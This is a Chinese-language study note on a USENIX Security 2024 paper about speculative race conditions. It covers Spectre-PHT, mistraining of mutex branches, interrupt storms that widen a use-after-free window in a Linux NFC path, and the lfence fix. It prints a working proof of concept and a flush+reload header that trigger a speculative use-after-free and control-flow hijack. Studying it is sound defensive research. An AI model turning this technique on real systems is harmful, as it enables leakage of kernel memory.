文章目录
论文
https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf
背景
Spectre-PHT(Transient Execution )
现代 CPU 为提高性能,会对指令进行推测执行(就是CPU会先把可能的判断结果执行)
推测执行可能有两种结果:
a) 指令被正常提交
b) 指令因预测错误被回滚(squashed),产生Transient Execution,但相关缓存被保留
if (x < array1_size) {
y = array2[array1[x] * 0x1000];
}
- x可控,多次x < array1_size后会认为可能依然是x < array1_size,然后执行if里的语句
- 如果x越界,但依然认为是x < array1_size,然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存,再通过array2[array1[x] * 0x1000]访问对应的位置
- 通过测信道可以探测出如果访问array2某个位置快一些,那么这个位置有可能就是array1[x]越界访问的内容,即泄露内容
Concurrency Bugs
SRC/SCUAF和实验条件
SRC:就是两个线程同时访问一个内存位置,一个是写操作,另一个是瞬时访问,此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似
所有保护均开启, Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据
流程
nfc_hci_msg_tx_work该函数是Linux内核中近场通信(NFC)驱动核心的主机控制器接口(Host Controller Interface, HCI)层实现的一部分,负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数,因此我们在分析过程中添加了一个系统调用以达到这一代码路径。
Creating an Unbounded UAF Window
目的:在free和设置NULL之间创建一个时间较大的窗口间隙
计时器到期会引发中断
首先通过设置定时器引起中断,在kfree时引起中断,但由于上锁,所以会等到已解锁就进入定时器的中断处理函数中,可以增加中断处理函数延长时间,这段时间通过其他核心发动系统调用使得向受害者核心发送中断,然后它陷入无限中断
Crafting Speculative Race Conditions
锁宏观上没问题,微观上可能有问题
第四行分支最终检查lock cmpxchgq指令的结果,该指令自动比较互斥锁ptr的当前值和旧值old,如果相同,则意味着互斥锁可以被锁定——将互斥锁设置为新值new,并授予对受保护临界区域的访问权,否则不行
我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。
其他常见同步写原语很多通过条件分支实现的,所以都很容易收到推测竞争条件的影响
实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量
当两个线程跨核心运行时,窗口通常更大,这表明在推测终止之前,缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。(我的理解是前一个执行上锁后,另一个开始推测执行,原执行流检查上锁时候得到已经上锁的信息较慢,导致此时推测执行已经执行多条了)
Exploiting Speculative Race Conditions
- 分配hdev和hdev->cmd_pending_msg
- 误导mutex的条件分支
- 启动victim线程和风暴线程:设置定时器,并启动目标函数
- free后进入定时器中断处理函数,此时窗口增大,运行别的函数
- 此时在窗口内创建msgbuf来对应hci_msg
- 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project,拿到刚刚释放的,设置好cb和cb_context
- nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流
poc
#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include "fr.h"
/* 冲刷+重载缓冲区。 */
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));
/* 易受攻击的锁。 */
volatile int r __cacheline_aligned;
pthread_mutex_t lock;
/* 与小工具相关的代码/数据。 */
void my_callback()
{
}
void evil_callback()
{
/* 我们使用F+R缓冲区的第二个条目来信号成功控制流劫持。 */
maccess(&fr_buff[4096]);
}
typedef void (*cb_t)();
typedef struct data_s
{
cb_t callback;
} data_t;
data_t *data_ptr;
/* 辅助函数。 */
void train_lock()
{
int i;
for (i = 0; i < 10; i++)
{
pthread_mutex_lock(&lock);
pthread_mutex_unlock(&lock);
}
}
void init()
{
/* 初始化冲刷+重载缓冲区。 */
memset(fr_buff, 'x', FR_BUFF_SIZE);
flush(&fr_buff[0]);
flush(&fr_buff[4096]);
/* 初始化受害者锁。 */
int r;
r = pthread_mutex_init(&lock, NULL);
assert(r == 0 && "pthread_mutex_init 失败");
/* 初始化受害者内存槽。 */
data_ptr = malloc(sizeof(data_t));
data_ptr->callback = my_callback;
}
/* 主函数。 */
int main()
{
/* 初始化。 */
init();
/* 线程1:训练锁总是被占用。 */
train_lock();
/* 线程1:触发释放小工具。 */
pthread_mutex_lock(&lock);
free(data_ptr);
/* 线程2:线程1在free()之后但在状态更新和锁释放之前被中断。然后,线程2重用内存以控制未来的悬挂指针引用(并劫持控制流到恶意回调)。 */
data_t *p = malloc(sizeof(data_t));
p->callback = evil_callback;
assert(p);
/* 线程2:触发使用小工具。这只会执行一个UAF(即,推测性控制流劫持)。注意:我们不能在这里使用pthread_mutex_lock,因为它会在同一线程中导致架构上的死锁。相反,我们使用pthread_mutex_trylock来模拟pthread_mutex_lock内部的易受攻击分支。 */
r = pthread_mutex_trylock(&lock);
flush(&r);
if (r == 0)
{
data_ptr->callback();
pthread_mutex_unlock(&lock);
}
/* 线程1:恢复执行并终止释放临界区。 */
data_ptr = NULL;
pthread_mutex_unlock(&lock);
/* 线程2:通过F+R隐蔽通道检查信号。 */
unsigned long t1 = probe_timing(&fr_buff[0]);
unsigned long t2 = probe_timing(&fr_buff[4096]);
if (t2 < t1)
{
printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);
}
else
{
printf("意外的时间:%lu << %lu\n", t1, t2);
}
return 0;
}
头文件
#ifndef FR_H
#define FR_H
// 定义 likely 宏,用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)
// 定义缓存行对齐属性宏,确保变量按照64字节边界对齐,并放置在特定的数据段中。
#define __cacheline_aligned \
__attribute__((__aligned__(64), \
__section__(".data..cacheline_aligned")))
// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {
volatile unsigned long time;
asm __volatile__(
" mfence \n" // 确保所有之前的存储操作已完成。
" lfence \n" // 确保所有之前加载操作已完成。
" rdtsc \n" // 读取时间戳计数器。
" lfence \n" // 确保此指令前的所有加载都已完成。
" movl %%eax, %%esi \n" // 将低32位时间戳保存到 ESI 寄存器。
" movl (%1), %%eax \n" // 从内存位置加载数据(触发缓存行为)。
" lfence \n" // 确保此指令前的所有加载都已完成。
" rdtsc \n" // 再次读取时间戳计数器。
" subl %%esi, %%eax \n" // 计算两次读取之间的时间差。
" clflush 0(%1) \n" // 清除指定内存位置的缓存行。
: "=a" (time) // 输出参数:EAX 寄存器值赋给 'time'。
: "c" (adrs) // 输入参数:'adrs' 的值通过 ECX 寄存器传递。
: "%esi", "%edx" // 被修改的寄存器列表。
);
return time;
}
// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器,它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {
unsigned long long a, d;
asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器,分别放入 a 和 d。
a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。
asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
return a;
}
// maccess 宏定义用于触发电平1缓存未命中,模拟内存访问。
#define maccess(p) \
asm volatile ("movq (%0), %%rax\n" \
: \
: "c" (p) \
: "rax")
// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \
asm volatile ("clflush 0(%0)\n" \
: \
: "c" (p) \
: "rax")
#endif
修复
序列化指令(lfence):
lfence
是一种序列化指令,主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。- 通过在
cmpxchg
之后插入lfence
,可以确保在锁定操作完成后,任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前,对关键区代码的任何投机执行。
实现细节:
- 在 Linux 内核的
arch/x86/include/asm/cmpxchg.h
文件中进行了修改。 - 具体地,在
__raw_cmpxchg
和__raw_try_cmpxchg
汇编宏中加入了lfence
指令。 - 这些宏用于实现所有的写侧同步原语,通过这种方式,确保所有相关的同步操作都受到保护。
- 在 Linux 内核的
但内核性能下降5%